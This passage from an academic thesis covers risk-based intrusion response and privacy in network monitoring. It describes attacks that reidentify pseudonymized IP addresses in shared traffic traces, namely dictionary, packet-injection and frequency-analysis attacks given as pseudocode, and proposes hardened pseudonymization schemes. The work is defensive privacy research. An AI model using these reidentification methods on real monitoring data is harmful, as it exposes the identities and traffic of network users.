network administrators by providing relevant information and recommending spe-
cific actions. To facilitate such an approach, it is necessary to provide a mechanism
that relates a detected security incidence to an appropriate response, based on the
underlying risk model. Such a mechanism should include a policy for what reactions
should be taken in the case of a particular incident, as well as information on who
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has the authority to initiate or authorize the response. Examples of distributed
intrusion detection and response systems have been published in [A69, A96].
The dynamic risk-assessment method described in this chapter can provide a
basis for automated response. If the risk reaches a certain level, the assessment
system may initiate an automated response in order to control the risk level. Such
a response may be performed both for individual objects (e.g., a compromised host)
or on a network-wide level (if the network risk level is to high). Examples of a local
response may be firewall reconfigurations for a host, changing logging granularity,
or shutting down a system. Examples of a global response may be the revocation
of a user certificate, the reconfiguration of central access control configurations, or
firewall reconfigurations. Other examples include traffic rerouting or manipulation,
and honeypot technologies. Note that such adaptive measures has to be supervised
by human intelligence, as they necessarily introduce a risk in their own right. A
firewall reconfiguration mechanism can, for example, be exploited as part of a denial-
of-service attack.
3.9.3 Parameter Estimation and Learning
The estimation of the appropriate values for the model parameters P, Q, pi, and
for the cost vector C can be determined using either training algorithms or expert
knowledge, supported by an appropriate methodology. Notably, a uniform initial
distribution of the P and pi parameters is adequate as a basis for training the param-
eters, according to [A97]. The initial parameters can alternatively be determined
using a risk assessment methodology, such as [B152]. These methodologies provide
a framework for identifying threats and vulnerabilities and for determining proba-
bilities and consequences of risks. Practical experiments can also be designed to test
the false positives and negatives of IDS sensors in order to find initial parameters
for Q, and the effects of the internal sensor dependencies described in Section 3.2
can be evaluated through simulations and experiments.
Based on an HMM with initial parameters, there are several algorithms available
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for re-estimating the parameters (i.e., training the models). There is, however, no
analytical solution to the re-estimation problem, and there is no optimal way of
estimating the model parameters based on an observation sequence as training
data [A97]. A standard approach for learning HMM parameters is the Baum-Welch
method, which uses iteration to select HMM parameters to maximize the probability
of an observation sequence.
3.9.4 Model Vulnerabilities
Note that we model the security state of a system; we do not attempt to model
individual attacks or attackers. One limitation of the approach is that an attacker
with knowledge of the HMMs used could attempt to camouflage a successful com-
promise by subsequently causing a number of less serious alerts. Depending on the
HMMs used, this could lead to a misrepresentation of the risk level of the system.
3.9.5 Performance
Although the experiments in this paper were run in an off-line mode, we believe
that the method is capable of handling alerts in real-time. The 3.5 hour Lincoln
Laboratory data set was processed in 2 minutes 44 seconds, while the 3 day TU
Vienna data set was processed in 20 minutes 54 seconds. Even with significantly
smaller time intervals, the model would still be able to process alerts on a single
host in real-time for multiple class C networks.
3.9.6 Asset Interdependencies
There are interdependencies between systems and services, and we cannot assume
that the risk of one system is independent of the risk of other systems in the same
network. The model presented in this chapter should be further developed to in-
corporate such interdependencies.

Chapter 4
Privacy in Network Monitoring
Grannvar mann,
til gjestebod komen,
tegjer med andre talar.
Lyder med øyro
og med augo skodar,
veltenkt og fyre var.
H˚avam˚al [B178]
Network monitoring is becoming increasingly important, both as a security measure
for corporations and organizations, and in an infrastructure protection perspective
for nation states. Governments are not only increasing their monitoring efforts,
but also introducing requirements for data retention in order to be able to access
traffic data for the investigation of serious crimes and terrorism. In Europe, a
directive on data retention was passed in 2006 [A125], requiring network operators
to implement network monitoring and data retention measures. Network monitoring
places a great responsibility on the operator for the confidentiality and privacy of
the data that is captured, processed, and stored. The contents of network traffic
can obviously be private or confidential, but even traffic data alone can compromise
a user’s privacy. This is particularly important in the cases where monitoring data
is shared between multiple parties. It is essential that the data is protected in such
a way that only the minimum amount of data necessary for analysis is provided.
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There are currently several organizations on the Internet that monitor and pub-
lish security relevant trends and events. The European Union is currently funding
the specific support project Lobster [B163] for large-scale monitoring of the back-
bone Internet infrastructure. Lobster is aimed at becoming a network monitoring
platform for network research, meeting the increasing demand of sharing network
traffic data for research purposes. The project is currently in its implementation
phase, and it is intended to provide a network monitoring platform for performance
and security measurements in both research and operational use. Another project
that publishes pseudonymized traffic traces is the Widely Integrated Distributed
Environment (WIDE) project [B164].
Passive measurement of communications networks must necessarily base itself
on real traffic data containing private information. Since the collected data can
reveal information about corporate or personal habits, the data should ideally be
anonymized as far as possible. Effective anonymization, however, tends to render in-
formation on network structures unusable for most analysis applications. Thus there
is a case for providing configurable anonymization, where the minimum of necessary
structural information is preserved, and the data otherwise are anonymized as far as
possible within these constraints. Prefix-preserving pseudonymization [A142, A143]
addresses this issue by preserving the topology information, and the generic anon-
ymization framework AnonTool and the Anonymization Application Programming
Interface (AAPI) [A70] implement a wide range of anonymization mechanisms in
order to meet the anonymization requirements of the Lobster project.
This chapter is based on [A22, A21, A89]. The work was initiated as a part
of Uninett’s activities in the EU Lobster project. Arne Øslebø from Uninett has
been the Lobster contact and contributed to the initial paper [A22]. The attacks
and proposed improvements in [A22, A21] (see Sections 4.3 and 4.4 in this chapter)
were developed in close collaboration with Tønnes Brekne at Q2S, who was the first
author for both papers. The Figures 4.2 and 4.3 were developed by Tønnes Brekne
for the conference presentation at the Workshop in Privacy Enhancing Technologies
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in Cavtat, Croatia, 2005. The proposed cryptographic solution employing stream
ciphers [A89] was based on an idea by Lasse Øverlier at Gjøvik University College
and further developed in cooperation with Tønnes Brekne and the author of this
thesis, with Lasse Øverlier as the first author.
The remainder of this chapter is structured as follows. Section 4.1 contains a
description of the context and threat model, as well as an overview of related work.
Section 4.2 provides a basic introduction to anonymization and pseudonymization,
as well as an introduction to pseudonymization schemes designed to protect the
privacy of IP addresses. A number of vulnerabilities and attacks are proposed in
Section 4.3, and Section 4.4 proposes some mechanisms for strengthening exist-
ing pseudonymization schemes. Finally, a transaction specific approach to non-
expanding pseudonymization is presented in Section 4.5. More detailed versions of
the algorithms presented in this chapter are provided in Appendix E.
4.1 Background
In this section, the context and threat model used throughout the chapter is pre-
sented, as well as a survey of related work. The main motivation for this work was
to evaluate candidate solutions for anonymization of passive monitoring data in the
context of the EU projects Lobster (a pilot European Infrastructure for large-scale
monitoring of broadband Internet infrastructure) and Scampi (an EU project for
creating a scalable and programmable monitoring platform for the Internet). Only
the pseudonymization of IP-addresses is considered in this chapter, although the
attacks and methods described here are applicable to other data types as well.
The context is that of passive sensors monitoring an IP network, and anonymiz-
ing captured traffic data. The sensors are programmable network monitoring cards
(e.g., Scampi cards and Endace DAG cards) capable of operating on high-capacity
links (up to 10 Gbit/s). The IP addresses are anonymized at the sensor node, and
a sensor identifier is appended to the data. The data rates involved impose strict
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performance requirements on all processing tasks. As the network monitoring sys-
tem is distributed, the pseudonymization scheme has to be consistent across the
sensors in order to support distributed analysis applications.
A generic anonymization framework for network traffic designed to be used for
the Lobster monitoring infrastructure was presented in [A70]. According to this
publication, the anonymization process has three objectives: protecting the privacy
of monitored uses, hiding any information about the internal infrastructure of the
network, and providing as realistic anonymized traces as possible.
There is an obvious trade-off between these requirements. It may be very dif-
ficult to get realistic data that still protects the privacy of users and the network
infrastructures involved. However, suitable anonymization techniques and config-
urable anonymization is the only way to reach a compromise. This trade-off is
studied in a number of publications, including [A47], which proposes a technique
for achieving the minimum amount of linkability in misuse detection systems.
4.1.1 Definitions and Assumptions
The following definitions, as stated in [A94], are central to this chapter.
Definition 4.1
Anonymity is the state of being not identifiable within a set of subjects, the
anonymity set. The anonymity set is the set of all possible subjects who might
cause an action [A94].
Definition 4.2
Pseudonyms are identifiers of subjects. Pseudonymity is the use of pseudonyms as
IDs [A94].
Definition 4.3
Unlinkability of two or more items means that within a system, these items are
no more and no less related than they are related concerning the a-priori knowl-
edge [A94].
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The following is assumptions concerning the cryptographic mechanisms em-
ployed in this chapter:
Assumption 4.1. The hash functions employed are preimage resistant, 2nd-
preimage resistant, and collision resistant (see [A79, pages 323 – 324]).
Assumption 4.2. The stream ciphers employed are semantically secure.
4.1.2 Threat model
A network monitoring system has the potential to be a significant threat to privacy
and confidentiality. It can potentially be abused to gain access to both the traffic
itself, as well as to the traffic pattern of all the users of the network. Some example
threats are platform compromise, malicious insiders, and traffic analysis.
An attacker can potentially gain access to the monitoring platform itself and
compromise the security of one or more monitoring nodes. With privileged access
to the monitoring nodes, an attacker has unrestricted access to network data, unless
there are mandatory on-board security mechanisms that can not be disabled without
physical access to the hardware.
A malicious insider has the same capabilities as the remote attacker, but the
insider can also reconfigure or manipulate the hardware, and even install additional
nodes. With physical access to the nodes, an insider may be capable of disabling
on-board protection mechanisms.
A malicious user with access to monitoring data can attempt traffic analysis,
reidentification, and cryptanalysis. The attacker is limited by any security mecha-
nisms, such as encryption, pseudonymization, and anonymization. However, as we
will see in this chapter, some of the existing security measures are vulnerable to a
range of attacks.
This chapter is mainly concerned with the risk of reidentification by external
parties that are users of the network and have access to pseudonymized data. Even
though remote attacks and priority escalation are serious threats, this is not further
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considered in this thesis. The goal is to prevent adversaries from reidentifying IP
addresses under the following assumptions:
Assumption 4.3. The adversary may send forged network traffic with arbitrary
source and destination IP addresses.
Assumption 4.4. The adversary is capable of ensuring that injected packets are
captured by at least one passive sensor.
Assumption 4.5. The adversary may access all anonymized data from a set of
sensors, such that their monitoring data contains the injected packets.
Some of the proposed attacks depends on the fact that the attacker is only in-
terested in a set of specific addresses. This assumption is relaxed in Assumption 4.7
for the purpose of a specific attack.
Assumption 4.6. The adversary wants to pick out all pseudonymized packets con-
taining the IP address a in their headers. This is referred to as the set of interest,
N . The number of addresses of interest is referred to as |N |.
In summary, the adversary is capable of performing traffic analysis, as well as
injection attacks, a special case of the cryptographic chosen plaintext attack . An
attacker can send an IP packet with arbitrary source and destination IP addresses.
By forging the packet header in such a way that it is recognizable in its anonymized
form, the attacker will be able to find an exact match between an original and an
anonymized IP address. This is a general problem with pseudonymization schemes,
as shown in [A22, A21]. The threat model is illustrated in Figure 4.1. The source
host A is communicating with the target host B, and the network traffic is captured
by the sensor S. The adversary E is capable of injecting traffic into the network
and reading the pseudonymized data.
4.1.3 Related Work
Much of the early work in anonymization was related to solving the problem of traf-
fic analysis. Two solutions to this problem was published by Chaum in 1981 [A30]
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Figure 4.1: Threat model.
and 1988 [A31], called mix networks and dc networks respectively. Similarly, there
has been an ongoing effort to improve traffic analysis methods in order to compro-
mise such networks. Raymond [A100] has provided an overview of current traffic
analysis research, and another overview, with a proposal for terminology for the
field of anonymity, was published by Pfitzmann and Koehntopp [A94]. As dis-
cussed above, this chapter is primarily concerned with the risk of reidentification
associated with traffic analysis. A measure of the risk of reidentification based on
statistical database theory was formalized by Fischer-Hu¨bner in [A46, pages 113 –
119].
The issue of using pseudonymous network monitoring traces is discussed
in [A19, A109], and later work in this area has focused on prefix-preserving
pseudonymization [A142, A143]. An efficient implementation of prefix-preserving
pseudonymization for network processors was proposed in [A98]. However, it is
demonstrated in Section 4.3 that all static pseudonymization schemes, and prefix-
preserving pseudonymization schemes in particular, are vulnerable to injection at-
tacks.
In [A91] Pang and Paxton address the problem of anonymization of logged traf-
fic data at a higher level of abstraction. They suggested a scheme and implemented
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a tool for transforming higher level content to an anonymized state using transfor-
mation scripts. However, this requires that every protocol be parsed and scrubbed,
and the many possible covert channels in known protocols can be used to achieve in-
jection attacks even against anonymized protocols. Ulrich Flegel recently proposed
a method for privacy respecting misuse detection [A47]. The approach restricts the
linkability of pseudonyms to the minimum amount necessary for misuse detection.
Related work in solving the pseudonymization problem has been suggested using
revocable privacy [A113] and zero-knowledge proofs [A76]. Camenish and Lysyan-
skaya [A25] presented a protocol for revocable anonymity for users within different
organizations, but it depends on the use of asymmetric cryptography and an un-
proven cryptographic primitive. The concept of pseudonymization is similar to
multi-show anonymity. The multi-show capability [A25] is based on proving the
existence of a constant credential, and that the credential satisfies certain criteria.
Some work on multi-show anonymous credentials in the context of constructing
anonymous networks has been done in [A92], and systems for anonymous multi-
show credentials have also been presented in [A25].
For reference, Table 4.1 provides an overview of publicly available IP traffic
anonymization tools, some of which are further discussed in this chapter. The table
contains both academic references where available, as well URLs for the tools.
Table 4.1 Network trace anonymization tools
Tool URL
Sanitize [A48] http://ita.ee.lbl.gov/html/contrib/sanitize.html
ip2anonip http://dave.plonka.us/ip2anonip/
tcpdpriv [A142, A143] http://ita.ee.lbl.gov/html/contrib/tcpdpriv.html
wide-tcpdpriv [A33] http://tracer.csl.sony.co.jp/mawi/
Crypto-PAn [A142, A143] http://www.cc.gatech.edu/computing/Telecomm/
cryptopan/
AAPI [A70] http://www.ics.forth.gr/dcs/Activities/Projects/
anontool.html
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4.2 Anonymity and Pseudonymity
In order to support sharing of monitoring data, the data must be fully sanitized in
the sense that all private and sensitive data are removed or anonymized. The scheme
should provide sender and receiver untraceability in such a way that unauthorized
extraction of partially or completely identifying data should be impossible.
In some instances, it may also be desirable to provide accountability through
reversible anonymization1, i.e., the possibility to reidentify the anonymized data by
an authorized party. Police investigations and abuse handling exemplify situations
where this is desirable. Reversibility may be provided by pseudonymization as
long as the requisite data, such as pseudonymization tables or decryption keys, are
available.
4.2.1 Anonymization
Anonymization tries to achieve “the state of being not identifiable within a set
of subjects, the anonymity set” [A94]. Anonymity is an important consideration
in many research fields, and research in statistical databases have sought to pro-
vide good anonymization in order to provide data for research in e.g., medical and
demographic research. Some anonymization primitives are discussed below.
Data removal implies the irreversible deletion of data. This can be implemented
by replacing data with a constant or a random value.
Generalization refers to the substitution of identifying data with more general
data, in such a way that no individuals may be identified. In our case, one example
could be the substitution of IP-addresses with their respective AS-numbers2. This
preserves network topology, but may fail to provide anonymity in the cases where
an AS-number is associated with a single user or a small group.
1Also referred to as revocable anonymization.
2An Autonomous System (AS) is a collection of IP networks registered by a single entity. A
unique AS-number is associated with each AS for routing purposes.
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Truncation is a type of generalization where a fixed number k least significant
bits are deleted, while the others are kept in their original form. For example, one
may keep the most significant 8 bits of the original IP-address and delete the rest.
4.2.2 Pseudonymization
In the case of pseudonymization, the actual identity is replaced by an alternate
identity, a pseudonym. The issue of using pseudonymous network monitoring traces
is discussed in [A19, A109]. Pseudonymization implies that the process is reversible,
in that it may be possible to uniquely reidentify original data, given knowledge
about the pseudonym and mapping used. The following types of pseudonymization
primitives are considered:
Bijective mappings make pseudonymity possible. A pseudonymous entity must
be uniquely identifiable. This property is also a feature that makes injection attacks
possible, where an adversary retrieves address mappings by sending packets and
observing their anonymous versions.
Data permutations are permutations of the identifier language from which real
identities and pseudonyms are drawn. This type of pseudonymization is reversible
for anyone knowing the permutation that has been used.
Cryptographic methods for anonymization of network traces are discussed
in [A93, A142, A143]. Any cryptographic anonymization scheme is necessarily sub-
ject to attacks on the cryptographic algorithms or the key management system.
Hashing can be considered a pseudonymization scheme according to the defini-
tions above, although it is computationally difficult to recover the original data
based on a hash value. The hash value is an “initially unlinkable pseudonym” ac-
cording to the definitions in [A94]. Strictly speaking, hashes of IP addresses are
anonymizations, as hash functions are not injective. Cryptographically strong hash
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functions are, however, sufficiently “close” to injective functions to be considerer
pseudonymizations.
Keyed hashing addresses a weakness with unkeyed hash functions, such as MD5
and SHA1, where any adversary can perform the same computations and build a
dictionary for all possible IP addresses (see Section 4.3.1). This type of dictionary
attacks can be prevented by using a keyed hashing scheme, as the cryptographic
keys are necessary to build the dictionary.
4.2.3 Prefix-preserving Pseudonymization
An anonymization scheme is prefix-preserving if, for any two original IP addresses
sharing a k-bit prefix, their anonymized mappings will also share a k-bit prefix. The
tools TCPdpriv, wide-tcpdpriv, and Crypto-PAn are examples of prefix-preserving
schemes, as discussed in [A142, A143].
TCPdpriv stores a set of original and anonymized IP address pairs. When a
new IP address arrives, it is compared with previous original IP addresses in order
to identify the longest prefix match. The new IP address is anonymized by using
the same anonymized prefix as that of its match, whereas the remaining part of
the address is anonymized with a random value. As new pseudonyms are generated
using random values, TCPdpriv is not deterministic, and the pseudonym for a given
IP address will differ between TCPdpriv sessions. This makes TCPdpriv unsuitable
for distributed network monitoring application where linkability is required between
several sensors.
Cryptographic prefix-preserving pseudonymization was proposed in [A142,
A143], and it is an improvement of TCPdpriv in several respects. In particular, it
is deterministic, and it allows both consistent prefix-preserving pseudonymization
across sessions, as well as distributed processing. Cryptographic prefix-preserving
pseudonymization uses a cryptographic algorithm rather than a random value. In
this way, the pseudonymization is uniquely determined by the encryption key K.
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This scheme has been implemented in the tool Crypto-PAn. Some improvements
on Crypto-PAn were proposed in [A107].
4.2.4 Transaction Pseudonymity
Let the term static pseudonymization, refer to a scheme where each plaintext value
has a unique and unchanging pseudonym. Let transaction pseudonymization re-
fer to a scheme where each pseudonym for a plaintext value is unlinkable to any
other pseudonym of the same plaintext value. In this way, there is no recogniz-
able relationship between different pseudonyms of the same plaintext value, i.e.,
the pseudonyms are unlinkable.
4.3 Attacking Pseudonymization Schemes
In this section, a number of attacks designed to reidentify pseudonyms are presented.
The purpose of this section is to identify vulnerabilities in existing schemes, and to
motivate the development of stronger privacy protection in network monitoring.
4.3.1 Dictionary Attack
Dictionary attacks are known from cryptography and computer security, and they
can be employed to defeat e.g., cryptographic mechanisms and authentication sys-
tems. Dictionary attacks can also be effectively used in order to achieve reidentifica-
tion for pseudonymization schemes. Pseudonyms of IPv4 addresses are particularly
vulnerable, because of the very limited address space.
In most cases, the creation of a dictionary depends on other attacks, such
as packet injection or frequency analysis. However, some pseudonymity tools
(e.g., [A70]) support the use of hash values as pseudonyms. Provided that the
hash function is known, it is trivial to compute a dictionary of addresses of interest.
Reidentification is only a matter of performing a dictionary lookup.
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In an experiment performed on a 2.4GHz processor (see Appendix D for de-
tails), MD5 hashes for the entire IPv4 address space were computed in 202 minutes
in average (based on 3 runs). SHA1 hashes for the entire IPv4 address space were
computed in 246 minutes in average (based on 3 runs). Note that the hash dictio-
nary file would require 16TB of storage. For this reason, the hash table was written
to /dev/null for the purpose of time measurements.
The attack described above is exhaustive, in that it covers the entire address
space. If an adversary has a set of interest with a small number of IP addresses,
this attack would be very easy to carry out, and the larger address space of IPv6
would not provide any extra protection.
4.3.2 Packet Injection
Given the threat model in Section 4.1.2, an adversary can send IP packets with
arbitrary source and destination IP addresses, for example by spoofing IP addresses
or sending packets from a variety of places. By forging a packet header or a traffic
pattern in such a way that it is recognizable in its anonymized form, an adversary
is able to find an exact match between an original and an anonymized IP address.
This is a general problem with pseudonymization schemes.
In the case of prefix-preserving pseudonymization, a successful attack also re-
veals information about the prefix for all other addresses with identical prefixes.
Using this, an adversary can build a binary tree mapping pseudonymized to orig-
inal IP addresses. For a directed attack, the adversary only needs to build such a
binary tree only for the targeted addresses addresses, such as IP addresses associ-
ated with a specific person or organization.
If an adversary wants to find the traffic data associated with N specified IP
addresses in a measurement set, there are significant advantages to be gained by
carefully designing the injection patterns. The complexity one primarily wants to
keep to a minimum in this context is “packet complexity”—the number of packets
that need to be successfully injected in order to reach a particular attack goal. Three
94 4.3. ATTACKING PSEUDONYMIZATION SCHEMES
main variations of the packet injection attack have been identified, as shown below.
These attacks are general, and not restricted to prefix-preserving pseudonymization.
Syncronized Injection A synchronized injection attack depends on the ability
to perform synchronized injection of packets and extraction of pseudonymized pack-
ets. Under optimal circumstances, the main limitation is the ability to synchronize
the packet injection time with the pseudonym timestamp. However, the network
itself can cause packet loss, packet reordering reordering, and queueing mechanisms
can cause several packets to receive identical timestamps. Because of this, a syn-
chronized injection attack must implement a minimal separation in time between
inserted packets. Given a suitable separation in time, a packet injection attack can
be successfully carried out with O(N) packets, where N is the addresses of interest.
Packet Header Tagging The forging of packet headers for reidentification pur-
poses is related to the message tagging attack described by Raymond in [A100].
Many network monitoring formats (such as Netflow) only store flow information
containing source and destination IP addresses, source and destination port num-
bers, and the IP protocol field (this is referred to as a 5-tuple). If this is the case,
the tagging information has to be embedded into these five protocol header fields.
Such an attack could be difficult to launch successfully, and many intrusion detec-
tion systems may detect manipulations of these protocol fields. However, if the
attack can be performed, a packet injection attack can be successfully carried out
with O(N) packets, where N is the addresses of interest.
Frequency Attack Frequency analysis is a class of attacks based on statistical
analysis of traffic patterns. A comprehensive overview of related issues was given by
Raymond in [A100]. The use of repeated messages for revealing the correspondence
between original and anonymized data is discussed by Chaum in [A30] and referred
to as flush attacks by Raymond in [A100]. By combining injection attacks with
frequency analysis, an adversary can assign an integer weight to each address of
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interest. Since two individual addresses can be used in each packet header, at least
1
2
∑|N |+1
j=1 j = (|N |+ 1)(|N |+ 2)/4 packets are needed, giving complexity O(n2).
4.3.3 Injection Attack Preparations
This section presents an attack specifically directed at prefix-preserving pseudo-
nymization. Assume that a set of all IP addresses can be represented by a binary
search tree, where each leaf node represents a specific IP address. Edges are labeled
with address bits, the most significant bits closest to the root node, and the least
significant bits on the edges ending in the leaf nodes themselves.
This section provides two algorithms for preparing an injection attack in prepar-
tion for frequency analysis, and the following section demonstrates how such an
injection attack can be used as a basis for frequency analysis. Algorithm 4.1 first
constructs a binary search tree for the selected addresses. Nodes in this tree are
capable of storing weights. After constructing the tree, it is recursively traversed
to sum weights using Algorithm 4.2. This is done such that the weights of each
descendant are unbalanced at each node with two descendants. This allows the
use of an algorithm that reveals addresses efficiently by exploiting the unbalanced
weights. The following data structure is used in the algorithms:
node= begin structure
node ∗a (Pointer to ancestor node)
node ∗d0 (Pointer to left descendant node)
node ∗d1 (Pointer to right descendant node)
integer w (Weight)
end structure
C-style notation is used, with <type> *<var-name> defining a pointer of name
<var-name> to a variable of type <type>. *<var-name> refers to the contents of the
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variable referenced by the pointer. <var-name> refers to the pointer itself. Assign-
ment has the form <var-name>←<expression>. If t is a pointer to an instantiated
node, then ∗t refers to the node, ∗t.a refers to the pointer to the ancestor node, and
∗(∗t.a) refers to the ancestor node itself.
Algorithm 4.1 Build Tree
IN: (n, k, {Ii}ki=1, b, a) {address length n, number of addresses k, list of addresses {Ii}ki=1, bit
depth b, pointer a to ancestor node}
OUT: pointer r to local root node of binary tree
t←pointer to newly allocated node
if b = 1 then there is no ancestor, so then
∗t.a←NULL
end if
if b < n we are not at the bottom of the tree then
split {Ii}ki=1 into h0 with i0 addresses with bit b equal to zero, and h1 with i1 addresses with
bit b equal to one.
∗t.d0 ← build-tree(n, i0, h0, b+ 1, t)
∗t.d1 ← build-tree(n, i1, h1, b+ 1, t)
else if b = n we are at the bottom of the tree then
∗t.d0 ← NULL
∗t.d1 ← NULL
end if
return t
The two algorithms are used as follows. Algorithm 4.1 is used to build a binary
search tree for the selected addresses. Algorithm 4.2 computes weights for each leaf
node to ensure unbalanced packet distribution at all levels, so that algorithm 4.3
for probabilistic address matching is guaranteed to terminate with a correct result
when restricted to the tree constructed by Algorithm 4.1. The weight is the number
of times an address must occur in terms of successfully injected packets.
After carrying out this preprocessing, the packets must be successfully injected,
and an anonymized measurement set for all the packets have to be collected. The
injected packets are extracted from the measurement set. It is then possible to
run Algorithm 4.3 on these packets to reveal the desired addresses in worst-case
time complexity nk′ where n is the address length in bits, and k′ is the number
of successfully injected packets. In general k′ ≥ N/2, where N is the number of
targeted addresses.
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Algorithm 4.2 Build Weights
IN: (t, δ) {pointer t to a node in a tree built with build-tree, weight adjustment δ}
OUT: ∗t.w total weight of traversed and adjusted binary tree under node ∗t
if ∗t.d0 =NULL and ∗t.d1 =NULL we are at the bottom of the tree then
increase the node weight by δ: ∗t.w ← ∗t.w + δ
else if ∗t.d0=NULL and ∗t.d1 6=NULL all descendants are to the right then
∗t.w ← build-weights(∗t.d1, δ)
else if ∗t.d0 6=NULL and ∗t.d1=NULL all descendants are to the left then
∗t.w ← build-weights(∗t.d0, δ)
else
left← build-weights(∗t.d0, 0)
right← build-weights(∗t.d1, δ)
if left=right the subtrees are equally weighted then
right← build-weights(∗t.d1, 1)
end if
Assign weight of t to sum of weights of subtrees: ∗t.w ←left+right
end if
return ∗t.w
Finally, note that these algorithms are designed for a scenario where k  2n.
If k is of the same magnitude as 2n, so that the adversary is attempting to find
the original versions of all anonymized addresses, other approaches are likely to be
more efficient. In other words, the attack we have described is a general system
attack for prefix-preserving pseudonymization algorithms, where a given address a
always has only one pseudonym a′.
4.3.4 Frequency Analysis
In this section, we discuss a type of traffic analysis based on the assumption that
the adversary has a priori knowledge of the traffic distribution of the observed net-
work. If an adversary a priori knows the traffic distribution relative to the address
space, then it is possible to efficiently attack prefix-preserving pseudonymization
and compromise selected addresses or subnets.
Denote by pα the probability that a packet has an address with prefix α. Denote
by λ the empty string. Denote by “αβ” the string concatenation of the string α
with β. Denote by pαβ|α the probability that an address has prefix αβ, given that it
has a prefix α. Denote by ⊕ the bitwise exclusive-or operator. If α = (α1, . . . , αk)
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and β = (β1, . . . , βk) are two length k bitstrings, then γ = α ⊕ β is defined as
γi = αi ⊕ βi, for all i such that 1 ≤ i ≤ k, where ⊕ is the exclusive-or operator.
The attack is described by Algorithm 4.3 and assumes the following:
1. The adversary knows all pα for the network.
2. The measurements are protected by the same primary pseudonymization key,
so that each address has only one pseudonym.
Algorithm 4.3 Frequency Analysis
IN: (n, {pη}η∈{0,1}n , {νi}2mi=1, ω) {address length n in bits (32 for IPv4, 128 for IPv6), the relative
frequency pη at which a prefix η occurs in network traffic, IP addresses {νi}2mi=1 encrypted with
prefix-preserving pseudonymization taken from a measurement set consisting of m packets with
in all 2m addresses, the plaintext address ω whose traffic data is of interest}
OUT: a “decryption key” κ for the pseudonym of ω
set α and κ to the empty string λ
for all i from 1 to n do
initialize number of messages with bit i set to 0: m0 ← 0
initialize number of messages with bit i set to 1: m1 ← 0
for all j from 1 to 2m do
if α⊕ κ is a prefix of νj then
increment mbit number i from the address
end if
end for
compute the square q0 of the difference between pα0|α and m0m0+m1
compute the square q′0 of the difference between pα0|α and
m1
m0+m1
if q0 < q′0 then
κ← κ0
else
κ← κ1
end if
append bit i of ω to α
end for
return κ
Algorithm 4.3 has a worst-case running time of O(nm), assuming that bitstring
comparison can be done in a constant number of operations. It is not guaranteed
to reach a correct conclusion, especially if there is little difference between prefix
probabilities for each possible node (that is: pα0|α ≈ pα1|α). If this algorithm is used
in conjunction with an injection attack, it is possible to restrict the algorithm to
the constructed binary search tree, and compute all pηs using the weights in that
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tree. Finally, note that Algorithms 4.1–4.3 can be applied to packets pseudonymized
with any prefix-preserving pseudonymization system, including both TCPdpriv and
Crypto-PAn.
4.4 Strengthening Pseudonymity
Schemes
This section presents some methods for improving the existing pseudonymity
schemes, in light of the attacks in the previous section. The methods presented
in this section increases the difficulty of performing a successful attack. Injection
attacks and frequency attacks are still possible, but they are more expensive to
perform. All the methods presented in this section rely on the fact that pairs of IP
addresses can be pseudonymized, given that the direction of a packet is stored in
an additional bit s. Using this approach, all IP packet between two hosts will have
the same pseudonym.
4.4.1 Improving Prefix-preserving Pseudonymization I
In this section, a strenthening of prefix-preserving pseudonymization schemes is pro-
posed. The strengthening is provided as Algorithm 4.4 and illustrated in Figure 4.2.
The form of the anonymization function is:
F (a)← a′1 · · · a′n, (4.1)
where a′i = ai ⊕ fi−1 (a1, . . . , ai−1). Denote by a the source address, and b the
destination address.
This hardening is based on the fact that it is rarely necessary to release all the
topological information. First, applications using traffic measurements often need
only parts of the topological information. Second, it may be desirable to allow the
regulated release of topological information as a differentiating factor to satisfy legal
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Figure 4.2: Hardened Pseudonymization I [A20].
or business requirements. One way of doing this is to permute the bits of encrypted
addresses. This removes any visible structure, but it does so in a reversible manner.
This can be expressed as follows:
F(a1 · · · an) = (a′g(1), . . . , a′g(n)), (4.2)
where g : {1, . . . , n} −→ {1, . . . , n} is a permutation. It is possible to apply this
permutation to the concatenation of source and destination addresses simultane-
ously.
By employing an injection attack, and repeating frequency analysis with dif-
ferent bits to find a best match, the hardened pseudonymization of Algorithm 4.4
could still be broken in polynomial time, with at worst O(n3k) steps. This is done
by first trying to identify imbalances in bit distributions bit-by-bit using the data
in the constructed search tree, using a modified frequency analysis algorithm. This
has to be done 2n+ 2n− 1 + . . .+ 1 times: O(n2) times in all. Frequency analysis
costs O(nk), so O(n3k) in all.
4.4.2 Improving Prefix-preserving Pseudonymization II
A different improvement is obtained by encrypting as large blocks as possible at a
time, while still offering the opportunity to release prefix-preserving pseudonymized
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Algorithm 4.4 Hardened Pseudonymization I
IN: (n, a, b, g, F ) {address length n in bits (32 for IPv4, 128 for IPv6), source address a, desti-
nation address b, a permutation function g : {1, . . . , 2n} −→ {1, . . . , 2n}, prefix-preserving ¿
pseudonymization function F}
OUT: two n-bit blocks a′ and b′ {replacing the plaintext addresses a and b respectively, one bit
s indicating whether a lexicographically precedes b or not}
if a lexicographically precedes b then
apply prefix-preserving pseudonymization F to a to get ca
apply prefix-preserving pseudonymization F to b to get cb
s← 0
else
apply prefix-preserving pseudonymization F to a to get cb
apply prefix-preserving pseudonymization F to b to get ca
s← 1
end if
concatenate ca and cb to get c
permute the pseudonymized bits: r ← (cg(1) · · · cg(2n))
a′ ← first n bits of r
b′ ← last n bits of r
return a′, b′, s
address data, if necessary. This can be achieved by splitting addresses into a series
of l blocks, each block wi bits in length. w1 is the most significant block, and wl
the least significant block. Block l from source and destination are concatenated
and encrypted, producing rl. Block l − 1 from source and destination are concate-
nated, and then concatenated with rl. This is then encrypted, producing rl−1. This
continues, until block 1 from source and destination are concatenated along with
r2, and all 2n bits encrypted. This is the essence of Algorithm 4.5. The method is
illustrated in Figure 4.3.
The algorithm encrypts successively longer concatenations of corresponding
blocks from source and destination addresses. Thus, each header is now coupled to
both addresses in a communication session. The adversary now sees all pseudonym-
ized pairs.
The adversary is trying to identify the pseudonyms for a list of target addresses
{Ii}ki=1. Since it is assumed that the injected packets are always recognizable some-
how, the adversary can extract the set of injected packets in their anonymized form.
Assuming that all injected packets are in the trace, they can also be sorted in the
102 4.4. STRENGTHENING PSEUDONYMITY
Algorithm 4.5 Hardened Pseudonymization II
IN: (n, a, b, g, l, {wi}li=1, e, F ) {address length n in bits (32 for IPv4, 128 for IPv6), source address
a, destination address b, a permutation function g{1, . . . , 2n} −→ {1, . . . , 2n}, the number l of
sub-blocks, a list {wi}li=1 of sub-block lengths such that
∑l
i=1 wi = n, a keyed block encryption
function ek, that encrypts k-bit blocks, a prefix-preserving pseudonymization F}
